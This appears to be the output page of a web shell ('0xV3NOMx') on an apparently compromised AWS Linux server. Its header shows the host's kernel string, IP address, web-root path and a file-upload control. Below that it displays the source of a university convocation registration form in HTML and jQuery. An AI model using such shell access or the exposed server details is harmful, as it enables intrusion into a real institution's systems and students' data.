0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.147.52.243


Current Path : /var/www/html/cnv/sdu_wait/html_modules/
Upload File :
Current File : /var/www/html/cnv/sdu_wait/html_modules/system_general_master_setup_13072017.php

<script>
	$(function() {
		$('#reload').click(function(){
			var d = new Date();
			$('img').attr('src', 'captcha.php?' + d.getTime());
		});
	});
</script>
<div class="portlet box blue">
	<div class="portlet-title">
		<div class="caption">
			<i class="fa fa-reorder"></i>Registration Form
		</div>	 
	</div>

	
	<div class="portlet-body form" >
		<div style='margin-left:6%;'>
		
		<div class="row">
			<!-- BEGIN FORM-->
			<h3 class="form-section">Student Details</h3>
			<form  class="form-horizontal" id='form_module_details_upload' enctype='multipart/form-data' method='POST'> 
				<div class="col-md-7" >
					<input type='hidden' name= 'MAX_FILE_SIZE' value='10000000000' /> 
					<div class="form-body">
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Select Quota</label>
							<div class="col-md-3">
								<select  class="form-control" id='T30' style='min-width:150px;'  onchange ='CMS.loadscheme();' title='Tatkal'>
									<option value='General'>General</option>
									<option value='Tatkal'>Tatkal</option>
								</select>												
							</div>
						</div>
						<p class="form-section" id = 'tatkalid'>(Additional 3500 Rupees will be charged Under Tatkal quota and Degree Certificate will be printed within 48 hours after payment confirmation (on Government working days) )</p>
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Register no. <span style='color:red;'>*</span></label>
							<div class="col-md-3">
								<input type="text"  name="registerno" id="T1" class="form-control" style="text-transform: uppercase;min-width:150px;" title='University Register no.'  maxlength=10 onblur='CMS.Getstudentdetails(event,this.value)' >											
							</div>
						</div>	
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Candidate name</label>
							<div class="col-md-7">
								<input type="text"  name="candidate_name" id="T2" class="form-control" disabled  maxlength=100 >											
							</div>
						</div>	
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >College</label>
							<div class="col-md-7">
								<input type="text"  name="college" id="T3" class="form-control" disabled  maxlength=100 >											
							</div>
						</div>
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Degree</label>
							<div class="col-md-7">
								<input type="text"  name="degree" id="T4" class="form-control"  disabled maxlength=100 >											
							</div>
						</div>
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Category</label>
							<div class="col-md-3">
								<select  class="form-control" id='T16' style='min-width:150px;' onchange='CMS.loadcnvcategoryfee(this.value)' title='Category'>
									<option value='00'>Select Category</option>
									<option value='SCST'>SC / ST</option>
									<option value='OTHERS'>OTHERS</option>
									
								</select>												
							</div>
						</div>
						
						<!-- MY TASK BEGIN CONDENSED TABLE PORTLET-->
							<div class="span11" id='disp_scstatt' style='display:none;'><div class="portlet box blue">
							<div class="portlet-title">
								<i class="fa fa-cogs"></i> Upload Category Certificate								
							</div>
						<div class="portlet-body">
						<div class="scroller" data-height="380px">
							<table id="upload_table" class="table table-bordered table-hover" cellpadding="0" cellspacing="0">
							<thead>
							<tr>											
							<th>#</th>																		
							<th><i class="icon-briefcase"></i>&nbsp;Document Type</th>																		
							<th>File </th>											
							<th>Attachment</th>	</tr>
							</thead>
							<tbody>
								<tr>						
									<td style="width:30px">1</td>						
									<td id="doc_upload_'.$int_code.'" style="width:300px">Category Certificate</td>						
									<td style="width:300px"><div style="float:left;"><input type='hidden' id='categoryattpath' /><input type="file" name='categoryatt' id='categoryatt' /></div><div style="float:left;"><a class="btn btn-sm blue" href="#" onclick=CMS.UploadEmployeeDocuments('categoryatt')><i class="fa fa-upload"></i>&nbsp;Upload</a></div></td>	
									<td style="width:100px" id="attach_td_cat">&nbsp;</td>
								</tr>	
							</tbody>
							</table>
						</div>
						</div>
						</div>
						</div>
					
						<div class="form-group">
							<label class="col-md-3 control-label"  style="text-align:left" for="p_dob">D.O.B. <span style='color:red;'>*</span></label>
							<div class="col-md-3">
								<div class="input-icon">
									<i class="fa fa-calendar"></i>
									<input type="text" placeholder="Date of Birth"  style='min-width:150px;' id="T14" title='Date of Birth' class="form-control">
								</div>
								<div class="help-block">
									 (in dd/mm/yyyy format)
								</div>
							</div>
							</div> 
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Mobile no. <span style='color:red;'>*</span></label>
							<div class="col-md-3">
								<input type="text"  name="mobile no" id="T5" class="form-control" style='min-width:150px;' title='Mobile no.' onkeypress="return acceptNumbersOnlyForModule(event);"  maxlength=10>											
							</div>
						</div>	
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Confirm Mobile no. <span style='color:red;'>*</span></label>
							<div class="col-md-3">
								<input type="text"  name="confirm mobile" id="T6" class="form-control"  style='min-width:150px;' title='Confirm Mobile no.' onkeypress="return acceptNumbersOnlyForModule(event);"  maxlength=10>											
							</div>
						</div>	
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Email Id. <span style='color:red;'>*</span></label>
							<div class="col-md-7">
								<input type="text"  name="email id" id="T7" class="form-control" style='min-width:150px;' style="text-transform: lowercase;" title='Email id.' maxlength=50>											
							</div>
						</div>	
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Postal Address <span style='color:red;'>*</span></label>
							<div class="col-md-7">
								<input type="text"  name="address" id="T8" class="form-control"   maxlength=50 title='Postal Address'><br>											
								<input type="text"  name="address" id="T9" class="form-control" style='margin-top:-18px;'  maxlength=50><br>											
								<input type="text"  name="address" id="T10" class="form-control" style='margin-top:-18px;'  maxlength=50><br>
								<input type="text"  name="address" id="T11" class="form-control" style='margin-top:-18px;'  maxlength=50><br>								
							</div>
						</div>
						<p class="form-section">(Please ensure your correct postal address)</p>
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Convocation<span style='color:red;'>*</span></label>
							<div class="col-md-7">
								<input type="text"  name=""  id="T15" class="form-control"  disabled >	
								<!--<select  class="form-control" id='T15'></select>										-->
							</div>
						</div>
						<div class="form-group" style = "display:none">
							<label class="col-md-4 control-label" style="text-align:left" >Need Certificate into home address by post ?<span style='color:red;'></span></label>
							<div class="col-md-3">
							
								<input type = 'checkbox' id = 'T23' disabled checked onchange='CMS.loadpostofficeamount()' title='Receive Certificate' value = 'Post'>
								<!-- <select  class="form-control" id='T23' style='min-width:150px;' title='Receive Certificate' onchange='CMS.loadpostofficeamount()'>
									<option value = 'center'>In Center</option>
									<option value = 'post'>By Post</option>
								</select>-->	 										
							</div>
						</div>	
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Amount<span style='color:red;'>*</span></label>
							<div class="col-md-3">
								<input type='hidden' value='' id='TH1' />
								<input type="text"  name="" value='0' id="T12" style='min-width:150px;' class="form-control"  disabled maxlength=10>											
							</div>
						</div>
						<p class="form-section">(Includes Additional 150 Rupees charged for home delivery)</p>
						<div class="form-group">
							<label class="col-md-3 control-label" style="text-align:left" >Payment Type<span style='color:red;'>*</span></label>
							<div class="col-md-4">
								<select  class="form-control" id='T13' style='min-width:200px;' ></select>										
							</div>
						</div>
							
					</div>
				</div>	
				<div class="col-md-3">
					<div class="form-group">
						<img id='student_entry_photo' style="width:148px;z-index:1;height:187px; width:148px" onchange="DiaplayUserSelectedPhoto()" src="img/default_photo.jpg" class="img-responsive" >
					</div>
					<div class="form-group">
						<label class="control-label" style="margin:0">Choose a file to upload <span style='color:red;'>*</span></label>
						<input type="file" name="student_entry_upload" id="student_entry_upload" onchange='DisplayUserSelectedPhoto();' style="padding:0;width:200px;" class="form-control">
					</div>					 
				</div>		
			</form> 
		</div>
	 
		

					
		<div class="form-body">
			
			<div class="row">
				<h3 class="form-section">Declaration</h3>
				<div class="col-md-12">
					<div class="form-group">
					<p>I HEREBY SOLEMNLY DECLARE AND PROMISE THAT IF ADMITTED TO THE DEGREE FOR WHICH I HAVE BEEN RECOMMENDED, I SHALL IN MY DAILY LIFE AND CONVERSATION, CONDUCT MYSELF, AS BEFITS A MEMBER OF THIS UNIVERSITY THAT I SHALL TO THE UTMOST OF MY CAPACITY AND OPPORTUNITY, SUPPORT THE CAUSE OF MORALITY AND SOUND LEARNING, AND THAT, AS FAR AS IN ME LIES, I SHALL UPHELD AND ADVANCE THE SOCIAL ORDER AND THE WELL BEING OF MY FELLOWMEN IN THE CASE OF PROFESSIONAL DEGREE, THE FOLLOWING SHALL BE ADDED TO THE ABOVE DECLARATION. I SHALL FAITHFULLY AND CAREFULLY FULFIL THE DUTIES OF THE PROFESSION TO WHICH I MAY BE ADMITTED BY VIRTUE OF MY DEGREE, THAT I SHALL ON ALL OCCASIONS MAINTAIN ITS PURITY AND REPUTATION AND I SHALL NEVER DEVIATE FROM THE STRAIGHT PATH OF THEIR HONOURABLE EXCERCISE BY MAKING MY KNOWLEDGE SUBSERVIENT TO UNWORTHY ENDS.</p>
					
					
					<div class="col-md-12">
						<div class="col-md-offset-10 col-md-9" style="padding-left:50px;">
							I agree to the Terms &nbsp;&nbsp;&nbsp;&nbsp;<input type = "checkbox" id = "student_declr" />
						</div>
					</div>
					<br><br>
			<!-- 		<p style='text-align:center;'>Please enter the letters displayed in the image below.
					If the image is not clear, click on "Can't read the text? Get a new image"</p>
					
					<php
					@session_start();
					$_SESSION = array();					
					$main_src ="captcha/simple-php-captcha.php";
					include($main_src);
					$_SESSION['captcha'] = simple_php_captcha();
					?>
					<php
					echo '<img src="' . $_SESSION['captcha']['image_src'] . '" alt="CAPTCHA code">';
					?>					</div>
				</div>
		
							
			</div>
						
			<div class="row">
				<div class="col-md-2">
					<div class="form-group">
						<input type="text"  id='passing_year' placeholder="enter letters displayed above"  class="form-control">
					</div>
				</div>
				
			</div> -->
		</div>
		</div>					 
										
					
	
				
	<div class="form-actions fluid">
		<div class="row">
			<div class="col-md-12">
				<div class="col-md-offset-10 col-md-9" >
					<button class="btn purple" onclick='CMS.SendMailOtPToUser();' type="button"><i class="fa fa-check"></i> Submit</button>
					<button class="btn red" onclick='home();' type="button" ><i class="fa fa-times">Cancel</i></button>
				</div>
			</div>
		</div>
	</div>
	</div>		
</div>
<!-- END Row-->